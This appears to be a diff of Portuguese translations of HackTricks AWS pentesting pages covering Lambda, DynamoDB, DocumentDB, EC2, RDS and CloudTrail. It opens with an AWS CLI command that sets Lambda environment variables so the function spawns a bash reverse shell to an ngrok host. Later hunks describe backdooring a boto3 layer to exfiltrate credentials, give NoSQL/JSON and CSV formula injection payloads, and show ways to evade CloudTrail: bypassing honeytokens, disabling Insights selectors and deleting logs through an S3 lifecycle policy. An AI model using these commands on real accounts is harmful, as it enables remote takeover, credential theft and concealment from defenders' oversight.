aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Para outras linguagens de script, existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE via Lambda Layers
@@ -202,13 +202,13 @@ Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4ª posiç
#### Exploração
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda **já esteja usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá.
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda já esteja **usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá.
Por exemplo, vamos supor que a lambda esteja usando a biblioteca boto3, isso criará uma camada local com a última versão da biblioteca:
```bash
pip3 install -t ./lambda_layer boto3
```
Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar o backdoor no código global** (uma função para exfiltrar credenciais ou obter um shell reverso, por exemplo).
Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar a backdoor no código global** (uma função para exfiltrar credenciais ou obter um shell reverso, por exemplo).
Em seguida, compacte o diretório `./lambda_layer` e **faça o upload da nova camada lambda** na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso).\
Observe que você precisa criar uma pasta python e colocar as bibliotecas lá para substituir /opt/python/boto3. Além disso, a camada precisa ser **compatível com a versão do python** usada pela lambda e, se você fizer o upload para sua conta, precisa estar na **mesma região:**
@@ -230,7 +230,7 @@ aws lambda update-function-configuration \
```
O próximo passo seria **invocar a função** nós mesmos, se pudermos, ou esperar até que **ela seja invocada** por meios normais que é o método mais seguro.
Uma **maneira mais discreta de explorar essa vulnerabilidade** pode ser encontrada em:
Uma **maneira mais furtiva de explorar essa vulnerabilidade** pode ser encontrada em:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -240,11 +240,11 @@ Uma **maneira mais discreta de explorar essa vulnerabilidade** pode ser encontra
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testá-la, então me avise se você conseguir!
Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testar isso, então me avise se você conseguir!
### Lambda MitM
Alguns lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em um deles, você pode exfiltrar as informações que outros usuários estão enviando para ele, confira em:
Algumas lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrar as informações que outros usuários estão enviando para ela, confira em:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -1,4 +1,4 @@
# AWS - Enumeração do DocumentDB
# AWS - DocumentDB Enum
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
Amazon DocumentDB, oferecendo compatibilidade com MongoDB, é apresentado como um **serviço de banco de dados rápido, confiável e totalmente gerenciado**. Projetado para simplicidade na implantação, operação e escalabilidade, permite a **migração e operação sem problemas de bancos de dados compatíveis com MongoDB na nuvem**. Os usuários podem aproveitar este serviço para executar seu código de aplicativo existente e utilizar drivers e ferramentas familiares, garantindo uma transição e operação suaves, semelhantes ao trabalho com MongoDB.
### Enumeração
### Enumeration
```bash
aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
aws docdb describe-db-instances #Get hostnames from here
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
Como o DocumentDB é um banco de dados compatível com MongoDB, você pode imaginar que também é vulnerável a ataques comuns de injeção NoSQL:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/nosql-injection
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### DocumentDB
@@ -6,9 +6,9 @@
### Informações Básicas
O Amazon DynamoDB é apresentado pela AWS como um **banco de dados NoSQL, chave-valor, totalmente gerenciado e sem servidor**, projetado para alimentar aplicações de alto desempenho, independentemente de seu tamanho. O serviço garante recursos robustos, incluindo medidas de segurança inerentes, backups ininterruptos, replicação automatizada em várias regiões, cache em memória integrado e utilitários convenientes de exportação de dados.
Amazon DynamoDB é apresentado pela AWS como um **banco de dados NoSQL de chave-valor totalmente gerenciado e sem servidor**, projetado para alimentar aplicações de alto desempenho, independentemente de seu tamanho. O serviço garante recursos robustos, incluindo medidas de segurança inerentes, backups ininterruptos, replicação automatizada em várias regiões, cache em memória integrado e utilitários convenientes de exportação de dados.
No contexto do DynamoDB, em vez de estabelecer um banco de dados tradicional, **tabelas são criadas**. Cada tabela exige a especificação de uma **chave de partição** como um componente integral da **chave primária da tabela**. Essa chave de partição, essencialmente um **valor de hash**, desempenha um papel crítico tanto na recuperação de itens quanto na distribuição de dados entre vários hosts. Essa distribuição é fundamental para manter tanto a escalabilidade quanto a disponibilidade do banco de dados. Além disso, há a opção de incorporar uma **chave de ordenação** para refinar ainda mais a organização dos dados.
No contexto do DynamoDB, em vez de estabelecer um banco de dados tradicional, **tabelas são criadas**. Cada tabela exige a especificação de uma **chave de partição** como um componente integral da **chave primária da tabela**. Essa chave de partição, essencialmente um **valor hash**, desempenha um papel crítico tanto na recuperação de itens quanto na distribuição de dados entre vários hosts. Essa distribuição é fundamental para manter tanto a escalabilidade quanto a disponibilidade do banco de dados. Além disso, há a opção de incorporar uma **chave de ordenação** para refinar ainda mais a organização dos dados.
### Criptografia
@@ -18,7 +18,7 @@ Por padrão, o DynamoDB usa uma chave KMS que **pertence ao Amazon DynamoDB,** n
### Backups & Exportação para S3
É possível **agendar** a geração de **backups de tabelas** ou criá-los **sob demanda**. Além disso, também é possível habilitar a **recuperação ponto a ponto (PITR) para uma tabela.** A recuperação ponto a ponto fornece **backups** contínuos dos seus dados do DynamoDB por **35 dias** para ajudar a proteger contra operações de escrita ou exclusão acidentais.
É possível **agendar** a geração de **backups de tabelas** ou criá-los **sob demanda**. Além disso, também é possível habilitar **Recuperação em ponto no tempo (PITR) para uma tabela.** A recuperação em ponto no tempo fornece **backups** contínuos dos seus dados do DynamoDB por **35 dias** para ajudar a proteger contra operações de escrita ou exclusão acidentais.
Também é possível exportar **os dados de uma tabela para o S3**, mas a tabela precisa ter **PITR habilitado**.
@@ -59,7 +59,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
{{#endref}}
### Escalação de Privilégios
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -84,18 +84,18 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
Existem maneiras de acessar dados do DynamoDB com **sintaxe SQL**, portanto, **injeções SQL típicas também são possíveis**.
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
### Injeção NoSQL
No DynamoDB, diferentes **condições** podem ser usadas para recuperar dados, como em uma injeção NoSQL comum. Se for possível **encadear mais condições para recuperar** dados, você poderia obter dados ocultos (ou despejar toda a tabela).\
No DynamoDB, diferentes **condições** podem ser usadas para recuperar dados, como em uma injeção NoSQL comum. Se for possível **encadear mais condições para recuperar** dados, você pode obter dados ocultos (ou despejar toda a tabela).\
Você pode encontrar aqui as condições suportadas pelo DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
Note que **diferentes condições** são suportadas se os dados estão sendo acessados via **`query`** ou via **`scan`**.
Observe que **diferentes condições** são suportadas se os dados estiverem sendo acessados via **`query`** ou via **`scan`**.
> [!NOTE]
> Na verdade, ações de **Query** precisam especificar a **condição "EQ" (igual)** na chave **primária** para funcionar, tornando-a muito **menos propensa a injeções NoSQL** (e também limitando bastante a operação).
> Na verdade, as ações de **Query** precisam especificar a **condição "EQ" (igual)** na chave **primária** para funcionar, tornando-a muito **menos propensa a injeções NoSQL** (e também limitando bastante a operação).
Se você puder **mudar a comparação** realizada ou adicionar novas, poderá recuperar mais dados.
```bash
@@ -105,13 +105,13 @@ Se você puder **mudar a comparação** realizada ou adicionar novas, poderá re
"GT": " " #All strings are greater than a space
```
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/nosql-injection
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### Injeção de Json Bruto
> [!CAUTION]
> **Esta vulnerabilidade é baseada no Filtro de Varredura do dynamodb, que agora está obsoleto!**
> **Esta vulnerabilidade é baseada no Scan Filter do dynamodb, que agora está obsoleto!**
**DynamoDB** aceita objetos **Json** para **pesquisar** dados dentro do DB. Se você descobrir que pode escrever no objeto json enviado para pesquisa, você pode fazer o dump do DB, todo o conteúdo.
@@ -123,7 +123,7 @@ um atacante poderia injetar algo como:
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
corrija a condição "EQ" buscando pelo ID 1000 e, em seguida, procurando por todos os dados com uma string de Id maior que 0, que é tudo.
corrija a condição "EQ" buscando o ID 1000 e, em seguida, procurando todos os dados com uma string de Id maior que 0, que é tudo.
Outro **exemplo vulnerável usando um login** poderia ser:
```python
@@ -152,7 +152,7 @@ Alguns SDKs permitem usar uma string indicando o filtro a ser realizado, como:
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
Você precisa saber que ao pesquisar no DynamoDB para **substituir** um **valor** de atributo em **expressões de filtro** enquanto escaneia os itens, os tokens devem **começar** com o caractere **`:`**. Esses tokens serão **substituídos** pelo **valor do atributo real em tempo de execução**.
Você precisa saber que, ao pesquisar no DynamoDB para **substituir** um **valor** de atributo em **expressões de filtro** enquanto escaneia os itens, os tokens devem **começar** com o caractere **`:`**. Esses tokens serão **substituídos** pelo **valor do atributo real em tempo de execução**.
Portanto, um login como o anterior pode ser contornado com algo como:
```bash
@@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md
## EC2
Amazon EC2 é utilizado para iniciar **servidores virtuais**. Ele permite a configuração de **segurança** e **rede** e a gestão de **armazenamento**. A flexibilidade do Amazon EC2 é evidente em sua capacidade de escalar recursos tanto para cima quanto para baixo, adaptando-se efetivamente a mudanças variáveis de requisitos ou aumentos de popularidade. Esse recurso diminui a necessidade de previsões precisas de tráfego.
Amazon EC2 é utilizado para iniciar **servidores virtuais**. Ele permite a configuração de **segurança** e **rede** e a gestão de **armazenamento**. A flexibilidade do Amazon EC2 é evidente em sua capacidade de escalar recursos tanto para cima quanto para baixo, adaptando-se efetivamente a mudanças de requisitos ou picos de popularidade. Esse recurso diminui a necessidade de previsões precisas de tráfego.
Coisas interessantes para enumerar no EC2:
@@ -29,16 +29,16 @@ Coisas interessantes para enumerar no EC2:
### Instance Profiles
Usar **funções** para conceder permissões a aplicativos que rodam em **instâncias EC2** requer um pouco de configuração extra. Um aplicativo rodando em uma instância EC2 é abstraído da AWS pelo sistema operacional virtualizado. Por causa dessa separação extra, você precisa de um passo adicional para atribuir uma função AWS e suas permissões associadas a uma instância EC2 e torná-las disponíveis para seus aplicativos.
Usar **funções** para conceder permissões a aplicativos que rodam em **instâncias EC2** requer um pouco de configuração extra. Um aplicativo rodando em uma instância EC2 é abstraído da AWS pelo sistema operacional virtualizado. Por causa dessa separação extra, você precisa de um passo adicional para atribuir uma função da AWS e suas permissões associadas a uma instância EC2 e torná-las disponíveis para seus aplicativos.
Esse passo extra é a **criação de um** [_**perfil de instância**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) anexado à instância. O **perfil de instância contém a função e** pode fornecer as credenciais temporárias da função a um aplicativo que roda na instância. Essas credenciais temporárias podem então ser usadas nas chamadas de API do aplicativo para acessar recursos e limitar o acesso apenas aos recursos que a função especifica. Observe que **apenas uma função pode ser atribuída a uma instância EC2** por vez, e todos os aplicativos na instância compartilham a mesma função e permissões.
Esse passo extra é a **criação de um** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) anexado à instância. O **instance profile contém a função e** pode fornecer as credenciais temporárias da função a um aplicativo que roda na instância. Essas credenciais temporárias podem então ser usadas nas chamadas de API do aplicativo para acessar recursos e limitar o acesso apenas aos recursos que a função especifica. Observe que **apenas uma função pode ser atribuída a uma instância EC2** de cada vez, e todos os aplicativos na instância compartilham a mesma função e permissões.
### Metadata Endpoint
Os metadados do AWS EC2 são informações sobre uma instância do Amazon Elastic Compute Cloud (EC2) que estão disponíveis para a instância em tempo de execução. Esses metadados são usados para fornecer informações sobre a instância, como seu ID de instância, a zona de disponibilidade em que está rodando, a função IAM associada à instância e o nome do host da instância.
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Enumeration
@@ -149,11 +149,11 @@ Na página a seguir, você pode verificar como **abusar das permissões do EC2 p
## EBS
Amazon **EBS** (Elastic Block Store) **snapshots** são basicamente **backups** estáticos de volumes EBS da AWS. Em outras palavras, são **cópias** dos **discos** anexados a uma **instância EC2** em um ponto específico no tempo. Os snapshots do EBS podem ser copiados entre regiões e contas, ou até mesmo baixados e executados localmente.
Amazon **EBS** (Elastic Block Store) **snapshots** são basicamente **backups** estáticos dos volumes EBS da AWS. Em outras palavras, são **cópias** dos **discos** anexados a uma **instância EC2** em um ponto específico no tempo. Os snapshots do EBS podem ser copiados entre regiões e contas, ou até mesmo baixados e executados localmente.
Os snapshots podem conter **informações sensíveis** como **código-fonte ou chaves de API**, portanto, se você tiver a chance, é recomendável verificá-los.
### Diferença AMI & EBS
### Diferença entre AMI e EBS
Uma **AMI** é usada para **iniciar uma instância EC2**, enquanto um **Snapshot** do EC2 é usado para **fazer backup e recuperar dados armazenados em um volume EBS**. Embora um Snapshot do EC2 possa ser usado para criar uma nova AMI, não é a mesma coisa que uma AMI, e não inclui informações sobre o sistema operacional, servidor de aplicativos ou outro software necessário para executar um aplicativo.
@@ -171,7 +171,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do EBS p
O **SSM Agent** possibilita que o Systems Manager atualize, gerencie e configure esses recursos. O agente **processa solicitações do serviço Systems Manager na Nuvem AWS**, e então as executa conforme especificado na solicitação.
O **SSM Agent vem**[ **pré-instalado em algumas AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ou você precisa [**instalá-lo manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) nas instâncias. Além disso, a função IAM usada dentro da instância precisa ter a política **AmazonEC2RoleforSSM** anexada para poder se comunicar.
O **SSM Agent vem**[ **pré-instalado em algumas AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ou você precisa [**instalá-los manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) nas instâncias. Além disso, a função IAM usada dentro da instância precisa ter a política **AmazonEC2RoleforSSM** anexada para poder se comunicar.
### Enumeração
```bash
@@ -196,7 +196,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do SSM p
## ELB
**Elastic Load Balancing** (ELB) é um **serviço de balanceamento de carga para implantações da Amazon Web Services** (AWS). O ELB automaticamente **distribui o tráfego de aplicação de entrada** e escala recursos para atender às demandas de tráfego.
**Elastic Load Balancing** (ELB) é um **serviço de balanceamento de carga para implantações da Amazon Web Services** (AWS). O ELB automaticamente **distribui o tráfego de aplicação de entrada** e dimensiona recursos para atender às demandas de tráfego.
### Enumeration
```bash
@@ -209,7 +209,7 @@ aws elbv2 describe-load-balancers
aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName'
aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
```
## Modelos de Lançamento e Grupos de Autoscaling
## Modelos de Lançamento e Grupos de Autoescalonamento
### Enumeração
```bash
@@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers
```
## Nitro
AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hypervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que as instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta.
AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hipervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que as instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta.
Obtenha mais informações e como enumerá-lo em:
Obtenha mais informações e como enumerá-las em:
{{#ref}}
aws-nitro-enum.md
@@ -240,7 +240,7 @@ aws-nitro-enum.md
Uma VPN permite conectar sua **rede local (site-to-site VPN)** ou os **laptops dos trabalhadores (Client VPN)** com uma **AWS VPC** para que os serviços possam ser acessados sem precisar expô-los à internet.
#### Componentes Básicos da VPN AWS
#### Componentes Básicos da AWS VPN
1. **Customer Gateway**:
- Um Customer Gateway é um recurso que você cria na AWS para representar seu lado de uma conexão VPN.
@@ -258,12 +258,12 @@ Uma VPN permite conectar sua **rede local (site-to-site VPN)** ou os **laptops d
- É usado para comunicação segura, estável e consistente entre seu data center ou rede e seu ambiente AWS.
- Normalmente usado para conexões regulares e de longo prazo e é cobrado com base na quantidade de dados transferidos pela conexão.
4. **Client VPN Endpoint**:
- Um endpoint Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de cliente.
- Um endpoint Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de clientes.
- É usado para permitir que dispositivos individuais (como laptops, smartphones, etc.) se conectem de forma segura aos recursos da AWS ou à sua rede local.
- Ele difere da Site-to-Site VPN na medida em que é projetado para clientes individuais, em vez de conectar redes inteiras.
- Com o Client VPN, cada dispositivo cliente usa um software cliente VPN para estabelecer uma conexão segura.
Você pode [**encontrar mais informações sobre os benefícios e componentes das VPNs AWS aqui**](aws-vpc-and-networking-basic-information.md#vpn).
Você pode [**encontrar mais informações sobre os benefícios e componentes das VPNs da AWS aqui**](aws-vpc-and-networking-basic-information.md#vpn).
### Enumeração
```bash
@@ -59,12 +59,12 @@ Para utilizar o TDE, certos passos preliminares são necessários:
1. **Associação de Grupo de Opções**:
- O banco de dados deve estar associado a um grupo de opções. Grupos de opções servem como contêineres para configurações e recursos, facilitando o gerenciamento do banco de dados, incluindo melhorias de segurança.
- No entanto, é importante notar que grupos de opções estão disponíveis apenas para mecanismos e versões de banco de dados específicos.
- No entanto, é importante notar que grupos de opções estão disponíveis apenas para mecanismos de banco de dados e versões específicas.
2. **Inclusão do TDE no Grupo de Opções**:
- Uma vez associado a um grupo de opções, a opção de Criptografia de Dados Transparente do Oracle precisa ser incluída nesse grupo.
- É essencial reconhecer que, uma vez que a opção TDE é adicionada a um grupo de opções, ela se torna uma característica permanente e não pode ser removida.
3. **Modos de Criptografia TDE**:
- O TDE oferece dois modos de criptografia distintos:
- O TDE oferece dois modos distintos de criptografia:
- **Criptografia de Tablespace TDE**: Este modo criptografa tabelas inteiras, proporcionando um escopo mais amplo de proteção de dados.
- **Criptografia de Coluna TDE**: Este modo foca na criptografia de elementos específicos e individuais dentro do banco de dados, permitindo um controle mais granular sobre quais dados são criptografados.
@@ -111,7 +111,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md
{{#endref}}
### Escalação de Privilégios
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-rds-privesc.md
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
Existem maneiras de acessar dados do DynamoDB com **sintaxe SQL**, portanto, **injeções SQL típicas também são possíveis**.
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## **CloudTrail**
AWS CloudTrail **registra e monitora a atividade dentro do seu ambiente AWS**. Ele captura **logs de eventos** detalhados, incluindo quem fez o que, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. CloudTrail é essencial para entender o comportamento de usuários e recursos, aprimorar posturas de segurança e garantir conformidade regulatória.
AWS CloudTrail **registra e monitora a atividade dentro do seu ambiente AWS**. Ele captura **logs de eventos** detalhados, incluindo quem fez o quê, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. O CloudTrail é essencial para entender o comportamento de usuários e recursos, melhorar as posturas de segurança e garantir a conformidade regulatória.
Cada evento registrado contém:
@@ -21,7 +21,7 @@ Cada evento registrado contém:
Os eventos são escritos em um novo arquivo de log **aproximadamente a cada 5 minutos em um arquivo JSON**, eles são mantidos pelo CloudTrail e, finalmente, os arquivos de log são **entregues ao S3 aproximadamente 15 minutos depois**.\
Os logs do CloudTrail podem ser **agregados entre contas e entre regiões.**\
O CloudTrail permite usar **a integridade do arquivo de log para verificar se seus arquivos de log permaneceram inalterados** desde que o CloudTrail os entregou a você. Ele cria um hash SHA-256 dos logs dentro de um arquivo de digestão. Um hash sha-256 dos novos logs é criado a cada hora.\
O CloudTrail permite usar **a integridade do arquivo de log para poder verificar se seus arquivos de log permaneceram inalterados** desde que o CloudTrail os entregou a você. Ele cria um hash SHA-256 dos logs dentro de um arquivo de digestão. Um hash sha-256 dos novos logs é criado a cada hora.\
Ao criar um Trail, os seletores de eventos permitirão que você indique o trail a ser registrado: eventos de gerenciamento, dados ou insights.
Os logs são salvos em um bucket S3. Por padrão, a Criptografia do Lado do Servidor é usada (SSE-S3), então a AWS descriptografa o conteúdo para as pessoas que têm acesso a ele, mas para segurança adicional, você pode usar SSE com KMS e suas próprias chaves.
@@ -53,9 +53,9 @@ No entanto, mesmo que você possa salvar todos os logs no mesmo bucket S3, não
> [!CAUTION]
> Lembre-se de que uma conta pode ter **diferentes Trails** do CloudTrail **ativados** armazenando os mesmos (ou diferentes) logs em diferentes buckets.
### CloudTrail de todas as contas da org em 1
### Cloudtrail de todas as contas da org em 1
Ao criar um CloudTrail, é possível indicar para ativar o CloudTrail para todas as contas na org e obter os logs em apenas 1 bucket:
Ao criar um CloudTrail, é possível indicar para ativar o cloudtrail para todas as contas na org e obter os logs em apenas 1 bucket:
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
@@ -83,7 +83,7 @@ O Event History do CloudTrail permite que você inspecione em uma tabela os logs
### Insights
**O CloudTrail Insights** automaticamente **analisa** eventos de gerenciamento de escrita dos trilhos do CloudTrail e **avisa** você sobre **atividades incomuns**. Por exemplo, se houver um aumento nos eventos `TerminateInstance` que difere das linhas de base estabelecidas, você verá isso como um evento de Insight. Esses eventos tornam **mais fácil do que nunca encontrar e responder a atividades incomuns de API**.
**O CloudTrail Insights** automaticamente **analisa** eventos de gerenciamento de escrita dos trails do CloudTrail e **avisa** você sobre **atividades incomuns**. Por exemplo, se houver um aumento nos eventos `TerminateInstance` que difere das linhas de base estabelecidas, você verá isso como um evento de Insight. Esses eventos tornam **mais fácil do que nunca encontrar e responder a atividades incomuns de API**.
Os insights são armazenados no mesmo bucket que os logs do CloudTrail em: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
@@ -96,7 +96,7 @@ Os insights são armazenados no mesmo bucket que os logs do CloudTrail em: `Buck
## Access Advisor
O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas informações**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais.
O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas percepções**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais.
> [!TIP]
> Portanto, o Access Advisor informa sobre **as permissões desnecessárias sendo concedidas aos usuários** para que o administrador possa removê-las
@@ -124,8 +124,8 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
```
### **Injeção CSV**
É possível realizar uma injeção CSV dentro do CloudTrail que executará código arbitrário se os logs forem exportados em CSV e abertos com o Excel.\
O seguinte código gerará uma entrada de log com um nome de Trail ruim contendo o payload:
É possível realizar uma injeção CVS dentro do CloudTrail que executará código arbitrário se os logs forem exportados em CSV e abertos com o Excel.\
O seguinte código gerará uma entrada de log com um nome de Trail ruim contendo a carga útil:
```python
import boto3
payload = "=cmd|'/C calc'|''"
@@ -139,14 +139,14 @@ print(response)
Para mais informações sobre Injeções CSV, consulte a página:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/formula-injection
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
{{#endref}}
Para mais informações sobre esta técnica específica, consulte [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
## **Bypass Detection**
### HoneyTokens **bypass**
### Bypass de HoneyTokens
Honeytokens são criados para **detectar a exfiltração de informações sensíveis**. No caso da AWS, eles são **chaves da AWS cujo uso é monitorado**, se algo acionar uma ação com essa chave, então alguém deve ter roubado essa chave.
@@ -204,7 +204,7 @@ Dessa forma, um **atacante pode obter o ARN da chave sem acionar nenhum log**. N
### Acessando Infraestrutura de Terceiros
Certos serviços AWS irão **gerar alguma infraestrutura** como **Bancos de Dados** ou **clusters Kubernetes** (EKS). Um usuário **falando diretamente com esses serviços** (como a API do Kubernetes) **não usará a API AWS**, então o CloudTrail não poderá ver essa comunicação.
Certos serviços AWS irão **gerar alguma infraestrutura** como **Bancos de Dados** ou **clusters Kubernetes** (EKS). Um usuário **falando diretamente com esses serviços** (como a API do Kubernetes) **não usará a API AWS**, então o CloudTrail não será capaz de ver essa comunicação.
Portanto, um usuário com acesso ao EKS que descobriu a URL da API do EKS poderia gerar um token localmente e **falar diretamente com o serviço da API sem ser detectado pelo CloudTrail**.
@@ -236,9 +236,9 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
No primeiro exemplo, um único seletor de eventos é fornecido como um array JSON com um único objeto. O `"ReadWriteType": "ReadOnly"` indica que o **seletor de eventos deve capturar apenas eventos de leitura** (então o CloudTrail insights **não verificará eventos de escrita**, por exemplo).
No primeiro exemplo, um único seletor de evento é fornecido como um array JSON com um único objeto. O `"ReadWriteType": "ReadOnly"` indica que o **seletor de evento deve capturar apenas eventos de leitura** (portanto, o CloudTrail insights **não verificará eventos de escrita**, por exemplo).
Você pode personalizar o seletor de eventos com base em seus requisitos específicos.
Você pode personalizar o seletor de evento com base em seus requisitos específicos.
#### Exclusão de logs via política de ciclo de vida do S3
```bash
@@ -251,7 +251,7 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
- Adicionar política de ciclo de vida ao bucket S3 para excluir objetos
